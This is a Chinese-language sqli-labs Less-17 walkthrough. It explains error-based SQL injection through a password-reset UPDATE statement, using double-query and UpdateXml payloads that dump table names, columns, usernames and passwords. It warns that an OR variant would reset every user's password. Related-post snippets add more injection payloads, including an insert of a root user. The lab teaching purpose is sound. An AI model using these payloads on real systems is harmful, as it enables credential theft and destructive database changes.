这是一个重置密码界面,查看源码可以看到username作了防注入处理

逻辑是先通过用户名查出数据,在进行密码的update操作

所以要先知道用户名,实际情况中可以注册用户然后实行攻击,这里先用admin演示

这和前几个less都不一样,并不能 通过union select进行查询其他数据,但是由于update语句的出错信息没有被屏蔽,所以可以基于错误进行注入。

收集了一下,有两个方法可以实行注入取出数据,构造类似双注入的查询报错和使用updatexml函数进行报错

双注入构造下面的SQL语句执行,爆出当前用户root@localhost

UPDATE users SET password='' AND (SELECT 1 FROM (SELECT count(*),(concat(0x7e,user(),0x7e,floor(rand()*9)))name from information_schema.tables group by name)b)#' WHERE username='admin';

对应的payload

uname=admin&passwd=123' AND (SELECT 1 FROM (SELECT count(*),(concat(0x7e,user(),0x7e,floor(rand()*9)))name from information_schema.tables group by name)b)#

当前数据库中的表名

payload

uname=admin&passwd=123' AND (SELECT 1 FROM (SELECT count(*),(concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1),0x7e,floor(rand()*9)))name from information_schema.tables group by name)b)#

选定users表获取列名

uname=admin&passwd=123' AND (SELECT 1 FROM (SELECT count(*),(concat(0x7e,(SELECT column_name FROM information_schema.columns WHERE table_name='users' limit 0,1),0x7e,floor(rand()*9)))name from information_schema.tables group by name)b)#

取数据

username

uname=admin&passwd=123' AND (SELECT 1 FROM (SELECT count(*),(concat(0x7e,(SELECT username FROM users LIMIT 0,1),0x7e,floor(rand()*9)))name from information_schema.tables group by name)b)#

password

uname=admin&passwd=123' AND (SELECT 1 FROM (SELECT count(*),(concat(0x7e,(SELECT password FROM users LIMIT 0,1),0x7e,floor(rand()*9)))name from information_schema.tables group by name)b)#

第一个用户Dumb Dumb

另一个方法是使用UpdateXml函数

构造如下SQL语句

同样的通过报错的方式拿到信息

UPDATE users SET password='' AND UpdateXml(1,concat(0x7e,database(),0x7e),1)

获取当前数据库

uname=admin&passwd=123' AND UpdateXml(1,concat(0x7e,database(),0x7e),1)#

获取表名

uname=admin&passwd=123' AND UpdateXml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security' limit 0,1),0x7e),1)#

uname=admin&passwd=123' AND UpdateXml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users' and table_schema='security' limit 0,1 ),0x7e),1)#

得到数据库security目标表users目标表字段id,username,password

但是这里并不能通过单纯的查询来完成,比如

uname=admin&passwd=123' AND UpdateXml(1,concat(0x7e,(select username from users limit 0,1),0x7e),1)#

意图构造

UPDATE users SET password='' AND UpdateXml(1,concat(0x7e,(select username from users limit 0,1),0x7e),1)#'WHERE username='admin';

这个语句在MySQL中是会报错的(你不可以在同一语句中对一张表进行select再update)

解决的办法是构造出一张中间表,a是别称

UPDATE users SET password='' AND UpdateXml(1,concat(0x7e,(select username from (select username from users limit 0,1) a),0x7e),1)#'WHERE username='admin';

payload

uname=admin&passwd=123' AND UpdateXml(1,concat(0x7e,(select username from (select username from users limit 1,1) a),0x7e),1)#

密码

uname=admin&passwd=123' AND UpdateXml(1,concat(0x7e,(select password from (select password from users limit 1,1) a),0x7e),1)#

有一点需要注意,使用UpdateXml函数时,如果构造这样的语句会报一个类型错误

UPDATE users SET password='a' AND (SELECT 1 FROM (SELECT count(*),(concat(0x7e,(SELECT password FROM users LIMIT 0,1),0x7e,floor(rand()*9)))name from information_schema.tables group by name)b)#' WHERE username='admin'

password='a'

password='123'时注入回显正常

这个和单字符没有关系,因为password='abc'时一样的报错

既然这个报错在UpdateXml函数之前,那么推测是And运算报的错误,做一个测试

sleep函数执行了,说明and运算执行了,那么'123'转换成布尔必定是1,因为如果转换是0的话and运算就不会执行

而'abc'转换bool必定是0,and运算没有执行,延时没有出现

为什么要执着于此,如果使用了OR构造下面这种payload,UpdateXml函数没有得到执行,语句没有报错,正常执行的结果会替换掉所有的用户密码

uname=admin&passwd=123' OR UpdateXml(1,concat(0x7e,(select password from (select password from users limit 1,1) a),0x7e),1)#

用'abc'时就会执行OR出现报错

uname=admin&passwd=abc' OR UpdateXml(1,concat(0x7e,(select password from (select password from users limit 1,1) a),0x7e),1)#

所以对Update语句进行注入一定要谨慎

【sqli-labs】 less17 POST - Update Query- Error Based - String (基于错误的更新查询POST注入)的更多相关文章

  1. 【sqli-labs】 less4 GET - Error based - Double Quotes - String (基于错误的GET双引号字符型注入)

    提交id参数 加' http://localhost/sqli/Less-4/?id=1' 页面正常,添加" http://localhost/sqli/Less-4/?id=1" ...

  2. 【sqli-labs】 less3 GET - Error based - Single quotes with twist string (基于错误的GET单引号变形字符型注入)

    实质上和less1没有多大区别,看懂了一样走流程 提交参数 加单引号 http://localhost/sqli/Less-3/?id=1' 观察报错,看near 和 at 的引号之间内容 '1'') ...

  3. 【sqli-labs】 less2 GET - Error based - Intiger based (基于错误的GET整型注入)

    与less1相同,直接走流程 提交参数,直接order by http://localhost/sqli/Less-2/?id=1 order by 1%23 http://localhost/sql ...

  4. 【sqli-labs】 less49 GET -Error based -String -Blind -Order By Clause(GET型基于盲注的字符型Order By从句注入)

    都是order by的注入,作者连图片都懒得改了... 注意和整型的区别,前引号用提交的引号闭合,后引号用#注释 http://192.168.136.128/sqli-labs-master/Les ...

  5. 【sqli-labs】 less47 GET -Error based -String -Order By Clause(GET型基于错误的字符型Order By从句注入)

    http://192.168.136.128/sqli-labs-master/Less-47/?sort=1 改变sort的值,结果仍然是order by 1的结果 http://192.168.1 ...

  6. 【sqli-labs】 less45 POST -Error based -String -Stacked Blind(POST型基于盲注的堆叠字符型注入)

    和Less44一个名字 测试一下,发现是')闭合的 login_user=&login_password=1') or sleep(0.1)# 那就是没有错误显示的less42 login_u ...

  7. 【sqli-labs】 less44 POST -Error based -String -Stacked Blind(POST型基于盲注的堆叠字符型注入)

    盲注漏洞,登陆失败和注入失败显示的同一个页面 可以用sleep函数通过延时判断是否闭合引号成功 这个方法有一点不好的地方在于,并不能去控制延时,延时的时间取决于users表中的数据数量和sleep函数 ...

  8. 【sqli-labs】 less43 POST -Error based -String -Stacked with tiwst(POST型基于错误的堆叠变形字符型注入)

    和less42一样 login_user=&login_password=1');insert into users(id,username,password) value(15,'root' ...

  9. 【sqli-labs】 less42 POST -Error based -String -Stacked(POST型基于错误的堆叠查询字符型注入)

    Forgot your password? New User click here? 看源码,可以发现和less 24不同的一点在于password字段没有进行转义处理 那就对password字段进行 ...

随机推荐

  1. ubuntu16.04安装jdk/mysql/tomcat (使用apt-get命令)

    安装jdk 更新系统安装包缓存,并且安装OpenJDK8 sudo apt-get update sudo apt-get install openjdk-8-jdk 检查jdk版本 java -ve ...

  2. Sencha Touch 2.1 Chart属性中文解释

    图表的几大要素: 1.坐标:上.下.左.右. 坐标的类型,数字.分类... 坐标包含需要显示的坐标值,即绑定的字段 坐标值的样式,比如旋转.字体大小.格式 坐标的最大值.最小值.是否显示网格 坐标旁边 ...

  3. nginx access 日志位置

    nginx access 日志位置 /var/log/nginx tail -f access.log

  4. 一个基于cocos2d-x 3.0和Box2d的demo小程序

    p图demo小应用.想怎么p就怎么p 本文參考于http://blog.csdn.net/xiaominghimi/article/details/6776096和http://www.cnblogs ...

  5. 使用SetTimer函数为Delphi的Win控件设置时钟

    procedure Timertodo(var messag:Tmessage);message WM_TIMER; procedure TForm1.FormCreate(Sender: TObje ...

  6. luogu1373 小a和uim之大逃离

    题目大意 地面上出现了一个n*m的巨幅矩阵,矩阵的每个格子上有一坨0~k不等量的魔液.怪物各给了小a和uim一个魔瓶,说道,你们可以从矩阵的任一个格子开始,每次向右或向下走一步,从任一个格子结束.开始 ...

  7. P1155 双栈排序(二分图染色)

    P1155 双栈排序(二分图染色) 题目描述 Tom最近在研究一个有趣的排序问题.如图所示,通过2个栈S1和S2,Tom希望借助以下4种操作实现将输入序列升序排序. 操作a 如果输入序列不为空,将第一 ...

  8. VS2010中文注释带红色下划线的解决方法

    环境:Visual Studio 2010 问题:代码中出现中文后会带下划线,很多时候感觉很不舒服.找了很久的原因没找到,后来无意中在VisualAssist X里找到了解决办法. 1.安装完Visu ...

  9. runC爆严重安全漏洞,主机可被攻击!使用容器的快打补丁

    runC 是 Docker,Kubernetes 等依赖容器的应用程序的底层容器运行时.此次爆出的严重安全漏洞可使攻击者以 root 身份在主机上执行任何命令. 容器的安全性一直是容器技术的一个短板. ...

  10. Appium + python - long_press定位操作实例

    from appium.webdriver.common.touch_action import TouchActionfrom appium import webdriverimport timei ...